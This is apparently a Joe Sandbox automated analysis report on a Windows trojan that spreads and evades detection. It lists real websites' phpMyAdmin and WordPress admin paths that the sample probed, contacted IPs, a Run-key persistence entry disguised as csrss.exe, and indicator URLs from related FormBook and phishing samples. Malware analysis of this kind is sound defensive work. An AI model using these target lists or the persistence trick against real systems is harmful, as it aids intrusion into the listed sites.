https://tiswheels.com/administrator/index.php	true	Avira URL Cloud: malware	unknown
http://robinsonland.com/wp-admin/	true	Avira URL Cloud: safe	unknown
https://gruporegiosafety.com/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://jamiesonmullin.com/admin	true	Avira URL Cloud: safe	unknown
https://kappablu.de/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://midcapfunding.com/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://federwild.at/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://bvhrs.com/pma/	true	Avira URL Cloud: safe	unknown
http://www.grg17geblergasse.at/admin.php	false		high
http://srmist.edu.in/PhpMyAdmin/	true	Avira URL Cloud: safe	unknown
https://knu.ac.in/administrator/index.php	true	Avira URL Cloud: safe	unknown
https://gmailvz.com/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://ceuandalucia.es/PhpMyAdmin/	true	Avira URL Cloud: safe	unknown
https://edgewater.group/wp-login.php	true	Avira URL Cloud: safe	unknown
http://gmailvz.com/admin	true	Avira URL Cloud: safe	unknown
https://eco-landeck.at/phpmyadmin/	false		high
https://unaj.edu.pe/wp-login.php	true	Avira URL Cloud: safe	unknown
http://gasp-ga.com/administrator/index.php	true	Avira URL Cloud: safe	unknown
http://linkan-group.com/wp-admin/	true	Avira URL Cloud: safe	unknown
http://financefast.com.br/phpMyAdmin/	false	Avira URL Cloud: safe	unknown
http://ce-logic.com/admin/	true	Avira URL Cloud: safe	unknown
https://www.knu.ac.in/admin.php	true	Avira URL Cloud: safe	unknown
http://awb-apparatebau.de/pma/	true	Avira URL Cloud: safe	unknown
http://rdelealtad.com/administrator/index.php	true	Avira URL Cloud: safe	unknown
http://lumaruniformes.com/PhpMyAdmin/	true	Avira URL Cloud: safe	unknown
https://esoft.academy/wp-login.php	false	Avira URL Cloud: safe	unknown
http://awb-apparatebau.de/administrator/	true	Avira URL Cloud: safe	unknown
https://edgewater.group/administrator/	true	Avira URL Cloud: safe	unknown
http://viidelta.com/wp-admin/	true	Avira URL Cloud: safe	unknown
http://gasp-ga.com/administrator/	true	Avira URL Cloud: safe	unknown
http://lumaruniformes.com/admin	true	Avira URL Cloud: safe	unknown
http://grg17geblergasse.at/admin.php	false		high
https://lumaruniformes.com/wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1	true	Avira URL Cloud: safe	unknown
http://ce-logic.com/admin.php	true	Avira URL Cloud: safe	unknown
http://octetpowers.in/phpMyAdmin/	true	Avira URL Cloud: safe	unknown
http://viidelta.com/admin/	true	Avira URL Cloud: safe	unknown
https://student.debritto.sch.id/phpmyadmin/	true	Avira URL Cloud: safe	unknown
http://himontessori.com/admin/	true	Avira URL Cloud: safe	unknown
http://srmist.edu.in/admin.php	true	Avira URL Cloud: safe	unknown
http://tcetmumbai.in/administrator/index.php	false		high
https://unaj.edu.pe/PhpMyAdmin/	true	Avira URL Cloud: safe	unknown
https://edgewater.group/administrator/index.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://formacion.talentius.com/	klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://engel-firm.com/wp-login.php?action=lostpassword	klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004012000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://townshipnjr.com/phpmyadmin/	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://lwindowelive.com/wp-admin/	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://micro-design.com/wp-admin/js/user-profile.min.js?ver=6.1.1	klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://students.kasralainy.edu.eg/administrator/index.phpca	klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer.png	klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sofia-communications.com/	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.karinshobbyfotografie.nl/index.html	klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/channel/UCR8Y1oz_wfVPTUpgFwsX9Dg	klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	false		high
http://my.calvary.qld.edu.au/pma/Admin/-	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.boldgrid.com/w3-total-cache/	klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://talentius.com/comments/feed/	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://adm.uksw.edu/phpMyAdmin/	klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.maxiv.lu.se/wp-includes/js/dist/i18n.min.js?ver=7701b0c3857f914212ef	klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	false		high
http://yahoo.comfreezed/phpmyadmin/	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://talentius.com/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.tools.min.js?v	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gccb.co.in/wp-content/uploads/2023/05/favicon.png	klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tradeavenida.com/product-category/toys-games/	klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gethsemane.org/phpmyadmin/Y	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://paintd.plus.com/phpmyadmin/	klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.beachrecruitment.com/index.php/cms_categorie/94677/bb/1/id/94677	klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://micro-design.com/wp-login.php?action=lostpassword	klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww38.ondania.com/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMDN8fHx8fHw2NTYyZGVkMzNi	klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img1.wsimg.com/parking-lander/static/css/main.ba077a97.css	klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004385000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/company/beach-recruitment-&-career/?originalSubdomain=nl	klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://samson.pe/feed/	klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ondania.com/PhpMyAdmin/y	klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://samson.pe/#/schema/logo/image/	klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nwzimg.wezhan.net/static-js/page404.js	klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.godaddy.com/repository//CN=Go	klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000433E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://image.jimcdn.com/app/cms/image/transf/dimension=350x10000:format=png/path/s5310617dc1962275/	klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.250.126.5	directlendersllc.com	United States	19318	IS-AS-1US	false
74.220.219.189	mail.himontessori.com	United States	46606	UNIFIEDLAYER-AS-1US	true
52.101.42.9	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.101.42.6	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
194.55.13.50	unknown	Germany	197540	NETCUP-ASnetcupGmbHDE	false
52.101.42.4	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
15.236.236.160	mx1.improvmx.com	United States	16509	AMAZON-02US	true
212.159.8.200	mx.avasin.plus.net	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	false
34.240.130.5	web-hp.prod.jimdo.systems	United States	16509	AMAZON-02US	false
162.241.24.104	mail.tradeavenida.com	United States	46606	UNIFIEDLAYER-AS-1US	true
212.97.32.100	mx2.mailserver.it	Italy	5602	AS-IRIDEOS-KPIT	true
172.67.150.14	unknown	United States	13335	CLOUDFLARENETUS	false
68.168.209.252	bvhrs.com	United States	19318	IS-AS-1US	true
81.169.145.157	kappablu.de	Germany	6724	STRATOSTRATOAGDE	true
104.247.74.107	vivanettv.co.ke	United States	22611	IMH-WESTUS	true
191.6.210.8	web202.uni5.net	Brazil	28299	IPV6InternetLtdaBR	true
216.250.121.106	wasserman.us	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
144.76.107.16	mail.locandafrancigena.it	Germany	24940	HETZNER-ASDE	true
117.20.63.148	student.debritto.sch.id	Indonesia	23951	CITRA-AS-IDPTJEMBATANCITRANUSANTARAID	true
104.47.73.138	rochestergauges-be02c.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.135.132.105	grantstech.io	France	16347	RMI-FITECHFR	true
81.169.145.74	awb-apparatebau.de	Germany	6724	STRATOSTRATOAGDE	true
15.235.14.141	unaj.edu.pe	United States	71	HP-INTERNET-ASUS	true
109.168.109.224	americanrecords.it	Italy	5602	AS-IRIDEOS-KPIT	true
52.206.191.232	perrisesd.org	United States	14618	AMAZON-AESUS	true
164.52.221.51	gccb.co.in	India	17439	NETMAGIC-APNetmagicDatacenterMumbaiIN	true
104.21.12.154	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.7.37	www.hugedomains.com	United States	13335	CLOUDFLARENETUS	false
193.203.239.23	mail.grantstech.io	France	16347	RMI-FITECHFR	true
185.230.63.171	dstaq.com	Israel	58182	WIX_COMIL	true
133.130.97.143	recv1.erinn.biz	Japan	7506	INTERQGMOInternetIncJP	true
184.106.54.2	mx2.emailsrvr.com	United States	19994	RACKSPACEUS	true
13.32.208.27	d3i1ioguzwkpen.cloudfront.net	United States	16509	AMAZON-02US	false
185.154.212.10	dkrs.gov.ua	Ukraine	42331	FREEHOSTUA	true
15.222.16.209	d405642.b.ess.ca.barracudanetworks.com	United States	16509	AMAZON-02US	true
162.210.96.117	coralparkchristian.org	United States	32748	STEADFASTUS	true
72.167.58.161	mail.webstamp.ca	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
108.166.43.2	mx2.jimdo.com	United States	19994	RACKSPACEUS	true
74.208.5.3	mx00.1and1.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
104.26.13.245	unknown	United States	13335	CLOUDFLARENETUS	true
142.250.27.27	alt3.aspmx.l.google.com	United States	15169	GOOGLEUS	false
185.230.63.186	2brosandahosepressurewashing.com	Israel	58182	WIX_COMIL	true
193.227.5.222	students.kasralainy.edu.eg	Egypt	2561	EUNEG	true
191.6.220.39	mx-vip-02.uni5.net	Brazil	28299	IPV6InternetLtdaBR	true
104.47.75.228	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
200.55.156.172	mx.rimed.cu	Cuba	27725	EmpresadeTelecomunicacionesdeCubaSACU	true
200.55.156.171	unknown	Cuba	27725	EmpresadeTelecomunicacionesdeCubaSACU	true
200.55.156.170	unknown	Cuba	27725	EmpresadeTelecomunicacionesdeCubaSACU	true
185.183.156.218	federwild.at	Germany	197540	NETCUP-ASnetcupGmbHDE	true
3.33.130.190	gmailvz.com	United States	8987	AMAZONEXPANSIONGB	true
178.32.41.233	rochester-gauges.be	France	16276	OVHFR	true
15.236.29.106	getquipu.com	United States	16509	AMAZON-02US	false
52.101.40.6	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
37.157.195.144	nakupher.cz	Czech Republic	197019	WEDOSCZ	true
52.101.40.4	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
185.230.63.107	linkan-group.com	Israel	58182	WIX_COMIL	true
52.101.40.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
52.101.40.1	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.74.10	krkconcord-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.205.25	route3.mx.cloudflare.net	United States	13335	CLOUDFLARENETUS	true
173.203.187.1	mx1.jimdo.com	United States	27357	RACKSPACEUS	false
81.19.159.64	grg17geblergasse.at	Austria	38955	WORLD4YOUAT	false
52.101.68.36	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
62.146.106.50	smx00.udag.de	Germany	15598	QSC-AG-IPXDE	true
52.101.9.0	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
95.153.32.22	unknown	Sweden	1257	TELE2EU	false
185.54.192.125	talentius.com	Spain	12946	TELECABLESpainES	true
52.101.9.5	directlendersllc-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
52.101.9.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
136.143.191.44	mx2.zoho.com	United States	2639	ZOHO-ASUS	false
162.159.205.17	route2.mx.cloudflare.net	United States	13335	CLOUDFLARENETUS	true
162.159.205.11	route1.mx.cloudflare.net	United States	13335	CLOUDFLARENETUS	true
52.86.6.113	unknown	United States	14618	AMAZON-AESUS	true
34.136.104.255	tiswheels.com	United States	2686	ATGS-MMD-ASUS	true
76.223.105.230	saudi-jamac.com	United States	16509	AMAZON-02US	true
66.81.203.8	mail.townshipnjr.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
66.81.203.198	ftp.townshipnjr.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
104.47.17.138	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
15.197.148.33	unknown	United States	7430	TANDEMUS	false
34.149.87.45	td-ccm-neg-87-45.wixdns.net	United States	2686	ATGS-MMD-ASUS	false
18.229.0.171	rechagricola.com.br	United States	16509	AMAZON-02US	true
104.47.71.202	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
35.214.252.247	locandafrancigena.it	United States	19527	GOOGLE-2US	true
13.234.155.54	srmist.edu.in	United States	16509	AMAZON-02US	true
141.193.213.11	kidsrkids.com	United States	396845	DV-PRIMARY-ASN1US	false
199.34.228.177	gatewaytoearlylearning.com	United States	27647	WEEBLYUS	true
104.47.73.10	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
52.101.42.10	engelfirm-com01c.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
54.84.236.175	unknown	United States	14618	AMAZON-AESUS	false
81.169.145.97	smtpin.rzone.de	Germany	6724	STRATOSTRATOAGDE	false
52.101.42.13	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
103.224.212.226	ondania.com	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
68.178.213.244	unknown	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
3.111.240.6	knu.ac.in	United States	16509	AMAZON-02US	true
164.90.197.105	mx195.m1bp.com	United States	14061	DIGITALOCEAN-ASNUS	true
52.101.8.32	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.37.195.136	unknown	United States	7018	ATT-INTERNET4US	true
52.101.8.34	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
104.47.71.138	my-calvary-qld-edu-au.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1347877
Start date and time:	2023-11-26 06:57:57 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	klWGq3yDcQ.exe renamed because original name is a hash value
Original Sample Name:	fe049ddd0ffd2df34da564208aff9cec.exe
Detection:	MAL
Classification:	mal99.spre.troj.expl.evad.winEXE@11/20@846/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.62.129, 20.190.190.131, 40.126.62.130, 20.190.190.129, 20.190.190.195, 20.190.190.194, 20.190.190.196, 40.126.62.131, 20.42.65.92, 13.89.179.12
Excluded domains from analysis (whitelisted): www.tm.ak.prd.aadg.trafficmanager.net, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, login.mso.msidentity.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, ak.privatelink.msidentity.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:58:49	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
06:59:54	API Interceptor	3595181x Sleep call for process: csrss.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
81.169.145.157	oiYvkpp2KQ.exe	Get hash	malicious	FormBook	Browse	www.selfstorage.koeln/pta7/?He=nRxaeJY0qwDQ0+6fry1tcfgxAFahX4AyNJuuilycF0k/wVU2rXeno+IRPm48FG6QoPcCLn3clfysGedU9rHhpmYj/m/Q5BIfBg==&Ux=5l2D7m9iZfP-4zuE
	wininit.exe	Get hash	malicious	FormBook	Browse	www.selfstorage.koeln/pta7/?5Zv6v=HssvRjWA886A&io5hOT=nRxaeJY0qwDQ0+6fry1tcfgxAFahX4AyNJuuilycF0k/wVU2rXeno+IRPm48FG6QoPcCLn3clfysGedU9rHgyRF+y0Xy/j0yHw==
	9t0qjhF7ce.exe	Get hash	malicious	FormBook	Browse	www.selfstorage.koeln/pta7/?0v4yn=nRxaeJY0qwDQ0+6enw1CN8Ixf0qiGaYyNJuuilycF0k/wVU2rXeno+IRPm48FG6QoPcCLn3clfysGedU9rHhyWYj+QfR/wJVHw==&qI=vz6ROrLlU_23eZF
	5890796959.xls	Get hash	malicious	FormBook	Browse	www.selfstorage.koeln/pta7/?Hr=nRxaeJY0qwDQ0+6f5y1ScfwxWUq9UYAyNJuuilycF0k/wVU2rXenu/JIKS0/EAOQo/d8R3vVu9XtC/t69KbNqmA67XvJ8z4hKVtWoFA=&fv=pb54k_ckcgKo
	5890796959.xls	Get hash	malicious	FormBook	Browse	www.selfstorage.koeln/pta7/?T8xV=8BiXgCdDxVxO&uGnojj=nRxaeJY0qwDQ0+6f5y1ScfwxWUq9UYAyNJuuilycF0k/wVU2rXenu/JIKS0/EAOQo/d8R3vVu9XtC/t69KbNqmA67XvJ8z4hKVtWoFA=
	specifik#U00e1ci#U00f3k.xls	Get hash	malicious	FormBook	Browse	www.selfstorage.koeln/pta7/?Iv=nRxaeJY0qwDQ0+6f5y1ScfwxWUq9UYAyNJuuilycF0k/wVU2rXenu/JIKS0/EAOQo/d8R3vVu9XtC/t69KbNqmA67XvJ8z4hKVtWoFA=&wDlhgT=ChaYXozdAlwb1SV
	DHL_BL_COMMERCIAL_INVOICE_PL_DELIVERYADDRESS_PDF.exe	Get hash	malicious	FormBook	Browse	www.kajainterior.com/gwmr/?EdVG=ld1BFk5l&P9M=HtomXpWt7TrleZhtSPv4UQoT5cDmJc3GUpnYQ3q8Kbhjt03LwGxLNSlkj7OqMUUtYY8UDmUoImrmFSVOa7hBlL/ubvJ8TCXskQ==
	uuctgqafmcr.exe	Get hash	malicious	Unknown	Browse	www.wg-aufbau-bautzen.de/123.gif
	CONFIRMAR DOCUMENTO DE PAGO.exe	Get hash	malicious	FormBook	Browse	www.teizer.one/gs25/?brnPb=xzuDRe6nJCetqdTy0moESK5/sRyQrUiO3A9zNsZMiBSlM0qRuYznXOqrTiN+MM3GDSzh&upQ41j=s2Mx_LP0cB
	JTe6TTJykz82zgf.exe	Get hash	malicious	FormBook	Browse	www.nln-productions.com/wcur/?i4p=nQkfrJ9gV0FoDMFeOSZVbXIn3Yu/QEpmUrRGEcqFXEjTCMjzzNrS/saKBN1VLhPmbJ1K&qVq8l=TjpxZr_XYrUl_89
	I6pm883Zko.exe	Get hash	malicious	FormBook	Browse	www.augenclinik.com/sywu/?j0=wb6/urKMJJu8NQEutO53OoftAAVpFnvQKpGXisXy0XeUvAwTX1XT87lQeCAnf4K9Zvol&Xdy=7nttut60kza
	eLL1MVwOME.exe	Get hash	malicious	FormBook	Browse	www.augenclinik.com/sywu/?bN90g=JTsp4zoP3f&BR=wb6/urKMJJu8NQEutO53OoftAAVpFnvQKpGXisXy0XeUvAwTX1XT87lQeCAnf4K9Zvol
	17New Order.exe	Get hash	malicious	FormBook	Browse	www.hamburg-suche.com/ne/?I2JHn6=x/xUVhKcdXT8a91pue6MiNnklurb+JRz1xWXNl7yFF5alyIE2GlaZx4QZGCzJOb74yFW&fJEh=IB4Phji8rt-HH
212.159.8.200	tODdTCG8Sk.exe	Get hash	malicious	Unknown	Browse
	T4fLzf3nYL.exe	Get hash	malicious	Unknown	Browse
	K78vNv6pDP.exe	Get hash	malicious		Browse
74.220.219.189	http://ocomventures.com/wp-includes/css/js/mit/mit.htm	Get hash	malicious	Unknown	Browse	ocomventures.com/favicon.ico
52.101.42.9	IDzTyPghZg.exe	Get hash	malicious	Unknown	Browse
52.101.42.9	gEkl9O5tiu.exe	Get hash	malicious	Phorpiex	Browse
194.55.13.50	y2N49ht6t4.exe	Get hash	malicious	CryptOne	Browse
	oPi2xY65IJ.exe	Get hash	malicious	CryptOne	Browse
	KOt0ARkRAT.exe	Get hash	malicious	Unknown	Browse
	8.20.docx.js	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	3.130.204.160
	9008654324456.exe	Get hash	malicious	FormBook	Browse	3.130.204.160
	0A1H1XTG0q.exe	Get hash	malicious	FormBook	Browse	3.130.253.23
	EwK95WVtzI.exe	Get hash	malicious	Pushdo	Browse	3.130.253.23
	Sipari#U015f_5035.exe	Get hash	malicious	FormBook, NSISDropper	Browse	3.130.204.160
	OWd39WUX3D.exe	Get hash	malicious	Pushdo	Browse	3.130.204.160
	g5oo6DQ4pd.exe	Get hash	malicious	Unknown	Browse	3.130.204.160
	z75Order.exe	Get hash	malicious	FormBook	Browse	3.130.253.23
	36XNMp5O89.exe	Get hash	malicious	Unknown	Browse	3.130.253.23
	ZVPI5936p1.exe	Get hash	malicious	Sodinokibi	Browse	3.130.204.160
	CX17SY6xF6.exe	Get hash	malicious	Pushdo	Browse	3.130.204.160
	PIyT9A3jfC.exe	Get hash	malicious	Pushdo	Browse	3.130.204.160
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, LummaC Stealer, RedLine, SmokeLoader	Browse	3.130.253.23
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, LummaC Stealer, RedLine, SmokeLoader	Browse	3.130.204.160
	nhVJ8J5qOt.exe	Get hash	malicious	Pushdo	Browse	3.130.204.160
	fs7AQcREFX.exe	Get hash	malicious	Pushdo	Browse	3.130.204.160
	RFQ_39250100.exe	Get hash	malicious	FormBook, GuLoader	Browse	3.130.204.160
	Spring2023.exe	Get hash	malicious	Unknown	Browse	3.130.253.23
	PAYMENT_BANK_DETAILS.exe	Get hash	malicious	FormBook	Browse	3.130.204.160
	lgxl3Kobn5.exe	Get hash	malicious	FormBook	Browse	3.130.204.160
mx.avasin.plus.net	g5oo6DQ4pd.exe	Get hash	malicious	Unknown	Browse	212.159.8.200
	tODdTCG8Sk.exe	Get hash	malicious	Unknown	Browse	212.159.8.200
	T4fLzf3nYL.exe	Get hash	malicious	Unknown	Browse	212.159.8.200
	K78vNv6pDP.exe	Get hash	malicious		Browse	212.159.8.200
	s1Rorr5Zkd.exe	Get hash	malicious		Browse	212.159.9.200

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://www.ukotayc.online/login	Get hash	malicious	Unknown	Browse	13.107.213.40
	https://www.clauxtw.space/login	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://pub-9abe9cd3126b4701a0567f649282a16d.r2.dev/Indexx.html	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
	https://pub-f2a7a6151b8e45fa9c87891a1b3af4cb.r2.dev/new.html?email=a21pbgxlckbtam1pbgxlcmnvlmnvbq==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	https://www.ydjlseub.asia/login	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://selligenttier.naylorcampaigns.com/track?type=click&enid=ZWFzPTEmbXNpZD0mYXVpZD0mbWFpbGluZ2lkPTYyNDExMiZtZXNzYWdlaWQ9NjI0MTEyJmRhdGFiYXNlaWQ9NjI0MTEyJnNlcmlhbD0xNjgyODQwNyZlbWFpbGlkPVRpbUBFbGV2YXRlZGNnLmNvbSZ1c2VyaWQ9MjExMTg2JnRhcmdldGlkPSZtbj0mZmw9Jm12aWQ9JmV4dHJhPSYmJg==&&&9999&&&https://vegannightmarket.com/hsvds/UCIfO/amFjb3BvX21vc2NhQHRyZWtmci5jb20=	Get hash	malicious	HTMLPhisher	Browse	13.107.213.40
